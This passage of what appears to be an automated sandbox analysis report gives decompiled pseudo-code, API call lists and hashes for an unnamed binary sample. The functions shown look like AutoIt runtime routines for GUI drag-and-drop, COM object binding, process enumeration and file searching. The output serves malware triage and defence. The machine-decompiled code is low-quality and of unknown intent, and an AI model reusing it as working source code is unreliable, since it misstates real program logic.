								_v56 =  *((intOrPtr*)( *((intOrPtr*)(_t107 + _v60 * 4))));
								_t57 =  *( *(_t56 + _t117 * 4));
								__eflags = _t57[0x22] & 0x00000008;
								if(__eflags != 0) {
									_t85 =  *_t57;
									E004559A8(__eflags, _t94,  &_v60, 0);
									_t125 = E004559A8(__eflags, _v72,  &_v72, 0);
									_t61 =  *0x4a844c; // 0x2f019d0
									_t111 =  *((intOrPtr*)( *((intOrPtr*)(_t61 + _t117 * 4))));
									_t62 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t61 + _t117 * 4)))) + 0x88));
									__eflags = _t62 - 2;
									if(__eflags == 0) {
										L8:
										SetWindowTextW(_t85, _t125);
										SendMessageW(_t85, 0xb1, 0, 0xffffffff);
									} else {
										__eflags = _t62 - 3;
										if(__eflags == 0) {
											goto L8;
										}
									}
									E004112EF(_t85, _t111, _t117, _t125, __eflags, _t125);
									__eflags = 0;
									_t134 = _t133 + 4;
									_v52 = 0;
									 *((intOrPtr*)(_t134 + 0x20)) = 1;
									 *((intOrPtr*)(_t134 + 0x24)) = 0;
									E004092C0(_t117,  &_v52);
									_v52 = _t117;
									_t127 = _t134 + 0x28;
									 *((intOrPtr*)(_t134 + 0x20)) = 1;
									E00401B70(1, L"@GUI_DROPID", _t134 + 0x28, __eflags);
									E004019E0(2, 1,  &_v52, _t134 + 0x28);
									E00402620(_t127);
									_t87 =  &_v52;
									E0040E6D0( &_v52, __eflags);
									_t128 = _t134 + 0x28;
									E00401B70( &_v52, L"@GUI_DRAGFILE", _t134 + 0x28, __eflags);
									E004019E0(2, 1, _t87, _t128);
									E00402620(_t128);
									_push(0);
									_push(0);
									E00451AA9(_t128, __eflags, 0x4a83d8, 0xfffffff3, _v56);
									E004092C0(L"@GUI_DRAGFILE", _t87);
									_t123 = _a4;
								}
								 *0x4a8488 = 0;
								goto L11;
							}
						}
					}
					_t92 = _t90 << 0x00000010 | _a8 & 0x0000ffff;
					__eflags = _t92;
					return  *0x48254c(_t123, 0x202, _a16, _t92);
				} else {
					return  *0x48254c(_t123, 0x205, _a16, (_a12 & 0x0000ffff) << 0x00000010 | _a8 & 0x0000ffff);
				}
			}




































                                                                                                                                                                            0x0046f511
                                                                                                                                                                            0x0046f516
                                                                                                                                                                            0x0046f520
                                                                                                                                                                            0x0046f525
                                                                                                                                                                            0x0046f52e
                                                                                                                                                                            0x0046f53c
                                                                                                                                                                            0x0046f545
                                                                                                                                                                            0x0046f56e
                                                                                                                                                                            0x0046f575
                                                                                                                                                                            0x0046f6e1
                                                                                                                                                                            0x0046f6e1
                                                                                                                                                                            0x0046f57b
                                                                                                                                                                            0x0046f57d
                                                                                                                                                                            0x0046f583
                                                                                                                                                                            0x0046f589
                                                                                                                                                                            0x0046f58f
                                                                                                                                                                            0x0046f595
                                                                                                                                                                            0x0046f596
                                                                                                                                                                            0x0046f59b
                                                                                                                                                                            0x0046f5a1
                                                                                                                                                                            0x0046f5a3
                                                                                                                                                                            0x0046f5a6
                                                                                                                                                                            0x0046f708
                                                                                                                                                                            0x0046f708
                                                                                                                                                                            0x0046f5ac
                                                                                                                                                                            0x0046f5ac
                                                                                                                                                                            0x0046f5b2
                                                                                                                                                                            0x0046f5b4
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f5ba
                                                                                                                                                                            0x0046f5ba
                                                                                                                                                                            0x0046f5c9
                                                                                                                                                                            0x0046f5ce
                                                                                                                                                                            0x0046f5d5
                                                                                                                                                                            0x0046f5d7
                                                                                                                                                                            0x0046f5de
                                                                                                                                                                            0x0046f5e4
                                                                                                                                                                            0x0046f5ee
                                                                                                                                                                            0x0046f604
                                                                                                                                                                            0x0046f606
                                                                                                                                                                            0x0046f60e
                                                                                                                                                                            0x0046f610
                                                                                                                                                                            0x0046f616
                                                                                                                                                                            0x0046f618
                                                                                                                                                                            0x0046f61e
                                                                                                                                                                            0x0046f620
                                                                                                                                                                            0x0046f630
                                                                                                                                                                            0x0046f61a
                                                                                                                                                                            0x0046f61a
                                                                                                                                                                            0x0046f61c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f61c
                                                                                                                                                                            0x0046f637
                                                                                                                                                                            0x0046f63c
                                                                                                                                                                            0x0046f643
                                                                                                                                                                            0x0046f64a
                                                                                                                                                                            0x0046f64e
                                                                                                                                                                            0x0046f652
                                                                                                                                                                            0x0046f656
                                                                                                                                                                            0x0046f65b
                                                                                                                                                                            0x0046f664
                                                                                                                                                                            0x0046f668
                                                                                                                                                                            0x0046f66c
                                                                                                                                                                            0x0046f67a
                                                                                                                                                                            0x0046f681
                                                                                                                                                                            0x0046f68b
                                                                                                                                                                            0x0046f68f
                                                                                                                                                                            0x0046f699
                                                                                                                                                                            0x0046f69d
                                                                                                                                                                            0x0046f6ac
                                                                                                                                                                            0x0046f6b3
                                                                                                                                                                            0x0046f6bc
                                                                                                                                                                            0x0046f6be
                                                                                                                                                                            0x0046f6c8
                                                                                                                                                                            0x0046f6cf
                                                                                                                                                                            0x0046f6d4
                                                                                                                                                                            0x0046f6d4
                                                                                                                                                                            0x0046f6d7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0046f6d7
                                                                                                                                                                            0x0046f5b4
                                                                                                                                                                            0x0046f5a6
                                                                                                                                                                            0x0046f6ef
                                                                                                                                                                            0x0046f6ef
                                                                                                                                                                            0x0046f705
                                                                                                                                                                            0x0046f547
                                                                                                                                                                            0x0046f56b
                                                                                                                                                                            0x0046f56b

                                                                                                                                                                            APIs
                                                                                                                                                                              • Part of subcall function 00456354: GetCursorPos.USER32(004A83D8), ref: 0045636A
                                                                                                                                                                              • Part of subcall function 00456354: ScreenToClient.USER32(004A83D8,?), ref: 0045638A
                                                                                                                                                                              • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563D0
                                                                                                                                                                              • Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563DC
                                                                                                                                                                            • NtdllDialogWndProc_W.NTDLL(?,00000205,?,?,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F55F
                                                                                                                                                                            • ReleaseCapture.USER32 ref: 0046F589
                                                                                                                                                                            • SetWindowTextW.USER32(?,00000000), ref: 0046F620
                                                                                                                                                                            • SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0046F630
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: AsyncState$CaptureClientCursorDialogMessageNtdllProc_ReleaseScreenSendTextWindow
                                                                                                                                                                            • String ID: @GUI_DRAGFILE$@GUI_DROPID$HH
                                                                                                                                                                            • API String ID: 1737637668-2060113733
                                                                                                                                                                            • Opcode ID: 8e3678de3cbb81e4ec56ddba576369fc2282c0942e3231e8b29d95b59dc42cf3
                                                                                                                                                                            • Instruction ID: 4b94e37398fb4c0e8bf176de98e3888209b69965db7f8e5b86c8cb252d1f017b
                                                                                                                                                                            • Opcode Fuzzy Hash: 8e3678de3cbb81e4ec56ddba576369fc2282c0942e3231e8b29d95b59dc42cf3
                                                                                                                                                                            • Instruction Fuzzy Hash: EB5106716043119BD700DF18DC85FAF77A5EB89310F04492EF941973A2DB789D49CBAA
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0047AD92 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 251comCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 57%
                                                                                                                                                                            			E0047AD92(char __ecx, void* __eflags, void* __fp0, intOrPtr _a4, intOrPtr _a8) {
				char _v20;
				char _v24;
				char _v36;
				char _v52;
				char _v56;
				short _v64;
				char _v68;
				char _v72;
				short _v76;
				char _v80;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr* _v96;
				char _v100;
				char _v104;
				char _v108;
				char _v116;
				char _v120;
				char _v124;
				intOrPtr _v128;
				intOrPtr* _v132;
				intOrPtr* _v136;
				intOrPtr _v144;
				intOrPtr* _v156;
				intOrPtr* _v164;
				intOrPtr* _v176;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t68;
				void* _t72;
				intOrPtr _t78;
				void* _t79;
				intOrPtr* _t83;
				intOrPtr* _t86;
				intOrPtr* _t90;
				intOrPtr _t99;
				void* _t103;
				intOrPtr _t105;
				intOrPtr* _t108;
				intOrPtr _t109;
				intOrPtr* _t110;
				intOrPtr* _t114;
				void* _t120;
				intOrPtr _t122;
				intOrPtr _t138;
				short _t142;
				intOrPtr _t181;
				void* _t184;
				void* _t185;
				char _t188;
				void* _t194;
				void* _t202;
				void* _t207;

				_t207 = __fp0;
				_t202 = __eflags;
				_t68 = _a4;
				_t164 =  *((intOrPtr*)(_t68 + 4));
				_t188 = __ecx;
				_v104 = __ecx;
				_v100 =  *((intOrPtr*)(_t68 + 8));
				_v120 = E00453081( *((intOrPtr*)( *((intOrPtr*)(_t68 + 4)))));
				E0040C060( &_v88, _t202);
				_t142 =  *0x48aa08; // 0x0
				_t72 = "\\"; // 0x5c
				_v92 = _t142;
				_v96 = _t72;
				E0040C060( &_v72, _t202);
				_t135 = _a8;
				_v124 = 0;
				_v116 = 0;
				E0040E6D0(_a8, _t202);
				if( *0x4a7cc2 == 0) {
					 *0x482820(0);
					 *0x4a7cc2 = 1;
				}
				_t179 = _v116;
				if(E004112D5(_v116) == 0) {
					__eflags = _v100 - 2;
					if(_v100 != 2) {
						L23:
						_t78 =  *0x482440( &_v20, 0,  &_v108);
						__eflags = _t78;
						if(_t78 < 0) {
							goto L11;
						} else {
							_t83 = _v120;
							_v64 = 9;
							_t181 =  *((intOrPtr*)( *((intOrPtr*)( *_t83))))(_t83, 0x4829d0,  &_v56);
							_t86 = _v132;
							 *((intOrPtr*)( *((intOrPtr*)( *_t86 + 8))))(_t86);
							__eflags = _t181;
							if(_t181 >= 0) {
								E00467626(_t135, _a8,  &_v80);
								_t90 = _v76;
								goto L27;
							} else {
								_push(0);
								_push(0);
								_push(0);
								_push(_t181);
								goto L12;
							}
						}
					} else {
						_t184 = E0040FFF0(_t135, E00453081( *((intOrPtr*)( *((intOrPtr*)(_a4 + 4)) + 4))), __eflags);
						_t99 =  *0x482828(_t184,  &_v24);
						_push(_t184);
						_t135 = _t99;
						E004137D3(_t135,  &_v24, _t184, _t188, __eflags);
						__eflags = _t135;
						if(_t135 >= 0) {
							goto L23;
						} else {
							_push(0);
							_push(0);
							_push(0);
							_push(_t135);
							goto L12;
						}
					}
				} else {
					if(E00436B22(_t179) != 0) {
						E004021E0( &_v84, _t135, _t164, _t179);
						while(1) {
							_t120 = E00434B96( &_v84,  &_v92);
							if(_t120 == 0xffffffff) {
								break;
							}
							_t18 = _t120 + 1; // 0x1
							E0040C140( &_v80, _t207, E004646F6( &_v84,  &_v36, _t18));
							E00402620( &_v52);
							E00403470( &_v84, _t135, _t194, _t207, 0x5c);
							E0040C740(_t18, 0,  &_v104);
							_t188 = _v124;
						}
						_t122 = E00437BFD( &_v84);
						__eflags = _t122;
						if(_t122 == 0) {
							E0040C140( &_v68, _t207,  &_v84);
						}
						_t179 = _v68;
					}
					_t78 =  *0x482824(0,  &_v120);
					__eflags = _t78;
					if(__eflags >= 0) {
						_t103 = E0040FFF0(_t135, _t179, __eflags);
						_t185 = _t103;
						_t105 =  *0x4827f0(_v128, _t185,  &_v104,  &_v120);
						_push(_t185);
						_t138 = _t105;
						E004137D3(_t138,  &_v104, _t185, _t188, __eflags);
						__eflags = _t138;
						if(_t138 < 0) {
							_push(0);
							_push(0);
							_push(0);
							_push(_t138);
							_push(_t188);
							E004781AE(_t207);
							goto L19;
						} else {
							_t108 = _v136;
							_v76 = 9;
							_t109 =  *((intOrPtr*)( *((intOrPtr*)( *_t108 + 0x20))))(_t108, _v144, 0, 0x4829d0,  &_v68);
							__eflags = _t109;
							if(_t109 < 0) {
								_push(0);
								_push(0);
								_push(0);
								_push(_t109);
								_push(_t188);
								E004781AE(_t207);
							}
							_t110 = _v156;
							 *((intOrPtr*)( *((intOrPtr*)( *_t110 + 8))))(_t110);
							__eflags = _v92;
							if(_v92 == 0) {
								L19:
								_t90 = _v164;
							} else {
								E00467626(_t138, _a8,  &_v100);
								_t114 = _v96;
								 *((intOrPtr*)( *((intOrPtr*)( *_t114 + 8))))(_t114);
								_t90 = _v176;
							}
						}
						L27:
						 *((intOrPtr*)( *((intOrPtr*)( *_t90 + 8))))(_t90);
						E00402620( &_v100);
						E00402620( &_v116);
						__eflags = 0;
						return 0;
					} else {
						L11:
						_push(0);
						_push(0);
						_push(0);
						_push(_t78);
						L12:
						_push(_t188);
						_t79 = E004781AE(_t207);
						E00402620( &_v100);
						E00402620( &_v116);
						return _t79;
					}
				}
			}



























































                                                                                                                                                                            0x0047ad92
                                                                                                                                                                            0x0047ad92
                                                                                                                                                                            0x0047ad9b
                                                                                                                                                                            0x0047ad9e
                                                                                                                                                                            0x0047ada3
                                                                                                                                                                            0x0047adac
                                                                                                                                                                            0x0047adb0
                                                                                                                                                                            0x0047adbd
                                                                                                                                                                            0x0047adc1
                                                                                                                                                                            0x0047adc6
                                                                                                                                                                            0x0047adcd
                                                                                                                                                                            0x0047add2
                                                                                                                                                                            0x0047addb
                                                                                                                                                                            0x0047addf
                                                                                                                                                                            0x0047ade4
                                                                                                                                                                            0x0047adee
                                                                                                                                                                            0x0047adf2
                                                                                                                                                                            0x0047adf6
                                                                                                                                                                            0x0047ae02
                                                                                                                                                                            0x0047ae06
                                                                                                                                                                            0x0047ae0c
                                                                                                                                                                            0x0047ae0c
                                                                                                                                                                            0x0047ae13
                                                                                                                                                                            0x0047ae22
                                                                                                                                                                            0x0047afa7
                                                                                                                                                                            0x0047afac
                                                                                                                                                                            0x0047afed
                                                                                                                                                                            0x0047aff9
                                                                                                                                                                            0x0047afff
                                                                                                                                                                            0x0047b001
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b007
                                                                                                                                                                            0x0047b007
                                                                                                                                                                            0x0047b010
                                                                                                                                                                            0x0047b026
                                                                                                                                                                            0x0047b028
                                                                                                                                                                            0x0047b032
                                                                                                                                                                            0x0047b034
                                                                                                                                                                            0x0047b036
                                                                                                                                                                            0x0047b04c
                                                                                                                                                                            0x0047b051
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b038
                                                                                                                                                                            0x0047b038
                                                                                                                                                                            0x0047b03a
                                                                                                                                                                            0x0047b03c
                                                                                                                                                                            0x0047b03e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047b03e
                                                                                                                                                                            0x0047b036
                                                                                                                                                                            0x0047afae
                                                                                                                                                                            0x0047afc8
                                                                                                                                                                            0x0047afcc
                                                                                                                                                                            0x0047afd2
                                                                                                                                                                            0x0047afd3
                                                                                                                                                                            0x0047afd5
                                                                                                                                                                            0x0047afdd
                                                                                                                                                                            0x0047afdf
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047afe1
                                                                                                                                                                            0x0047afe1
                                                                                                                                                                            0x0047afe3
                                                                                                                                                                            0x0047afe5
                                                                                                                                                                            0x0047afe7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047afe7
                                                                                                                                                                            0x0047afdf
                                                                                                                                                                            0x0047ae28
                                                                                                                                                                            0x0047ae33
                                                                                                                                                                            0x0047ae3e
                                                                                                                                                                            0x0047ae43
                                                                                                                                                                            0x0047ae4d
                                                                                                                                                                            0x0047ae55
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047ae57
                                                                                                                                                                            0x0047ae6f
                                                                                                                                                                            0x0047ae78
                                                                                                                                                                            0x0047ae83
                                                                                                                                                                            0x0047ae90
                                                                                                                                                                            0x0047ae95
                                                                                                                                                                            0x0047ae95
                                                                                                                                                                            0x0047aea0
                                                                                                                                                                            0x0047aea5
                                                                                                                                                                            0x0047aea7
                                                                                                                                                                            0x0047aeb2
                                                                                                                                                                            0x0047aeb2
                                                                                                                                                                            0x0047aeb7
                                                                                                                                                                            0x0047aeb7
                                                                                                                                                                            0x0047aec2
                                                                                                                                                                            0x0047aec8
                                                                                                                                                                            0x0047aeca
                                                                                                                                                                            0x0047aef8
                                                                                                                                                                            0x0047af06
                                                                                                                                                                            0x0047af0f
                                                                                                                                                                            0x0047af15
                                                                                                                                                                            0x0047af16
                                                                                                                                                                            0x0047af18
                                                                                                                                                                            0x0047af20
                                                                                                                                                                            0x0047af22
                                                                                                                                                                            0x0047af91
                                                                                                                                                                            0x0047af93
                                                                                                                                                                            0x0047af95
                                                                                                                                                                            0x0047af97
                                                                                                                                                                            0x0047af98
                                                                                                                                                                            0x0047af99
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0047af24
                                                                                                                                                                            0x0047af24
                                                                                                                                                                            0x0047af2d
                                                                                                                                                                            0x0047af49
                                                                                                                                                                            0x0047af4b
                                                                                                                                                                            0x0047af4d
                                                                                                                                                                            0x0047af4f
                                                                                                                                                                            0x0047af51
                                                                                                                                                                            0x0047af53
                                                                                                                                                                            0x0047af55
                                                                                                                                                                            0x0047af56
                                                                                                                                                                            0x0047af57
                                                                                                                                                                            0x0047af57
                                                                                                                                                                            0x0047af5c
                                                                                                                                                                            0x0047af66
                                                                                                                                                                            0x0047af68
                                                                                                                                                                            0x0047af6d
                                                                                                                                                                            0x0047af9e
                                                                                                                                                                            0x0047af9e
                                                                                                                                                                            0x0047af6f
                                                                                                                                                                            0x0047af77
                                                                                                                                                                            0x0047af7c
                                                                                                                                                                            0x0047af86
                                                                                                                                                                            0x0047af88
                                                                                                                                                                            0x0047af88
                                                                                                                                                                            0x0047af6d
                                                                                                                                                                            0x0047b055
                                                                                                                                                                            0x0047b05b
                                                                                                                                                                            0x0047b061
                                                                                                                                                                            0x0047b06a
                                                                                                                                                                            0x0047b071
                                                                                                                                                                            0x0047b077
                                                                                                                                                                            0x0047aecc
                                                                                                                                                                            0x0047aecc
                                                                                                                                                                            0x0047aecc
                                                                                                                                                                            0x0047aece
                                                                                                                                                                            0x0047aed0
                                                                                                                                                                            0x0047aed2
                                                                                                                                                                            0x0047aed3
                                                                                                                                                                            0x0047aed3
                                                                                                                                                                            0x0047aed4
                                                                                                                                                                            0x0047aedf
                                                                                                                                                                            0x0047aee8
                                                                                                                                                                            0x0047aef5
                                                                                                                                                                            0x0047aef5
                                                                                                                                                                            0x0047aeca

                                                                                                                                                                            APIs
                                                                                                                                                                            • MkParseDisplayName.OLE32(?,00000000,?,?), ref: 0047AF0F
                                                                                                                                                                              • Part of subcall function 004781AE: GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00000001,00000000,NULL Pointer assignment,00000001), ref: 00478201
                                                                                                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(?,?), ref: 00478259
                                                                                                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000058,?), ref: 00478270
                                                                                                                                                                              • Part of subcall function 004781AE: VariantCopy.OLEAUT32(-00000078,?), ref: 00478287
                                                                                                                                                                            • OleInitialize.OLE32(00000000), ref: 0047AE06
                                                                                                                                                                              • Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
                                                                                                                                                                              • Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012
                                                                                                                                                                            • _wcslen.LIBCMT ref: 0047AE18
                                                                                                                                                                            • CreateBindCtx.OLE32(00000000,?), ref: 0047AEC2
                                                                                                                                                                            • GetActiveObject.OLEAUT32(?,00000000,?), ref: 0047AFF9
                                                                                                                                                                            Strings
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: CopyVariant$_wcslen$ActiveBindCreateDisplayErrorInitializeLastNameObjectParse_wcscpy
                                                                                                                                                                            • String ID: HH
                                                                                                                                                                            • API String ID: 1795805788-2761332787
                                                                                                                                                                            • Opcode ID: 5111e7be83367371adae77edb9a14708543d73a5edecb40ea52b156e73750e39
                                                                                                                                                                            • Instruction ID: 7e3b4e38c6064d991530b19baaff212313fd3e9d55f264e0ba959e8ba912c45c
                                                                                                                                                                            • Opcode Fuzzy Hash: 5111e7be83367371adae77edb9a14708543d73a5edecb40ea52b156e73750e39
                                                                                                                                                                            • Instruction Fuzzy Hash: 6C915C71604301ABD710EB65CC85F9BB3E8AFC8714F10892EF64597291EB78E909CB5A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0043701F Relevance: 10.6, APIs: 7, Instructions: 76processCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 96%
                                                                                                                                                                            			E0043701F(void* __ecx, void* __eflags, intOrPtr _a4, char* _a12) {
				intOrPtr* _v4;
				char _v528;
				char _v1044;
				char _v1560;
				char _v2080;
				intOrPtr _v2104;
				char _v2108;
				void* _v2112;
				char _v2124;
				void* _t21;
				void* _t30;
				intOrPtr _t31;
				void* _t32;
				void* _t33;
				void* _t43;
				char* _t44;
				void* _t47;

				_t33 = __ecx;
				_t45 = _a4;
				_t44 = _a12;
				_v2104 = 0x22c;
				_t43 = CreateToolhelp32Snapshot(2, 0);
				_push( &_v2108);
				Process32FirstW(_t43);
				 *_t44 = 0;
				_t21 = E00436E8C(_t33, _a4);
				_t47 =  &_v2112 + 4;
				_t32 = _t21;
				if( *_t44 == 0) {
					while(Process32NextW(_t43,  &_v2112) == 1) {
						E00413DB0( &_v2080,  &_v2124,  &_v528,  &_v1560,  &_v1044);
						E00411663( &_v1560,  &_v1044);
						_t30 = E004115D0( &_v1560,  &_v1560, _t45);
						_t47 = _t47 + 0x24;
						if(_t30 != 0) {
							if(_t32 != 0) {
								_t31 = _v2108;
								if(_t32 == _t31) {
									 *_v4 = _t31;
									goto L8;
								}
							}
						} else {
							 *_v4 = _v2108;
							L8:
							 *_t44 = 1;
						}
						if( *_t44 == 0) {
							continue;
						}
						goto L10;
					}
				}
				L10:
				CloseHandle(_t43);
				return 1;
			}




















                                                                                                                                                                            0x0043701f
                                                                                                                                                                            0x00437027
                                                                                                                                                                            0x0043702f
                                                                                                                                                                            0x0043703b
                                                                                                                                                                            0x00437048
                                                                                                                                                                            0x0043704e
                                                                                                                                                                            0x00437050
                                                                                                                                                                            0x00437056
                                                                                                                                                                            0x00437059
                                                                                                                                                                            0x0043705e
                                                                                                                                                                            0x00437064
                                                                                                                                                                            0x00437066
                                                                                                                                                                            0x0043706f
                                                                                                                                                                            0x004370a5
                                                                                                                                                                            0x004370ba
                                                                                                                                                                            0x004370c8
                                                                                                                                                                            0x004370cd
                                                                                                                                                                            0x004370d2
                                                                                                                                                                            0x004370e5
                                                                                                                                                                            0x004370e7
                                                                                                                                                                            0x004370ed
                                                                                                                                                                            0x004370f6
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004370f6
                                                                                                                                                                            0x004370ed
                                                                                                                                                                            0x004370d4
                                                                                                                                                                            0x004370df
                                                                                                                                                                            0x004370f8
                                                                                                                                                                            0x004370f8
                                                                                                                                                                            0x004370f8
                                                                                                                                                                            0x004370fe
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004370fe
                                                                                                                                                                            0x0043706f
                                                                                                                                                                            0x00437104
                                                                                                                                                                            0x00437105
                                                                                                                                                                            0x00437117

                                                                                                                                                                            APIs
                                                                                                                                                                            • CreateToolhelp32Snapshot.KERNEL32 ref: 00437043
                                                                                                                                                                            • Process32FirstW.KERNEL32(00000000,00000002), ref: 00437050
                                                                                                                                                                            • Process32NextW.KERNEL32(00000000,?), ref: 00437075
                                                                                                                                                                            • __wsplitpath.LIBCMT ref: 004370A5
                                                                                                                                                                              • Part of subcall function 00413DB0: __wsplitpath_helper.LIBCMT ref: 00413DF2
                                                                                                                                                                            • _wcscat.LIBCMT ref: 004370BA
                                                                                                                                                                            • __wcsicoll.LIBCMT ref: 004370C8
                                                                                                                                                                            • CloseHandle.KERNEL32(00000000,?), ref: 00437105
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2547909840-0
                                                                                                                                                                            • Opcode ID: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                                                                                            • Instruction ID: d866d71778569fbbd99b025f777f77cc3db9ba9c83dfb601fa45888e96c7797d
                                                                                                                                                                            • Opcode Fuzzy Hash: fd838752e9d0606085fad0ec29118efadb7b5f17250a81beb0a2f2c9513d2e10
                                                                                                                                                                            • Instruction Fuzzy Hash: 9C21A7B20083819BD735DB55C881BEFB7E8BB99304F00491EF5C947241EB79A589CB6A
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 00452126 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127filesleepCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 94%
                                                                                                                                                                            			E00452126(intOrPtr __ecx, void* __eflags, void* __fp0, intOrPtr _a4, intOrPtr* _a8, intOrPtr* _a12, intOrPtr* _a16, char _a20, char _a24) {
				void* _v568;
				struct _WIN32_FIND_DATAW _v596;
				signed int _v600;
				intOrPtr _v604;
				intOrPtr _v608;
				char _v612;
				void* _v616;
				intOrPtr _v620;
				signed char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				WCHAR* _v636;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char _t46;
				void* _t50;
				void* _t56;
				signed int _t58;
				signed int _t59;
				signed int _t60;
				void* _t72;
				signed int _t73;
				intOrPtr* _t100;
				WCHAR** _t101;

				_t106 = __fp0;
				_t101 =  &_v636;
				_v620 = __ecx;
				E00401B70(_t72, _a4,  &_v636, __eflags);
				_v612 = _v636;
				_t46 = _v624;
				 *_t46 =  *_t46 + 1;
				_v600 = _t46;
				_v608 = _v632;
				_v604 = _v628;
				E0040D330( &_v636, _t72, L"*.*", __fp0);
				_t73 = 1;
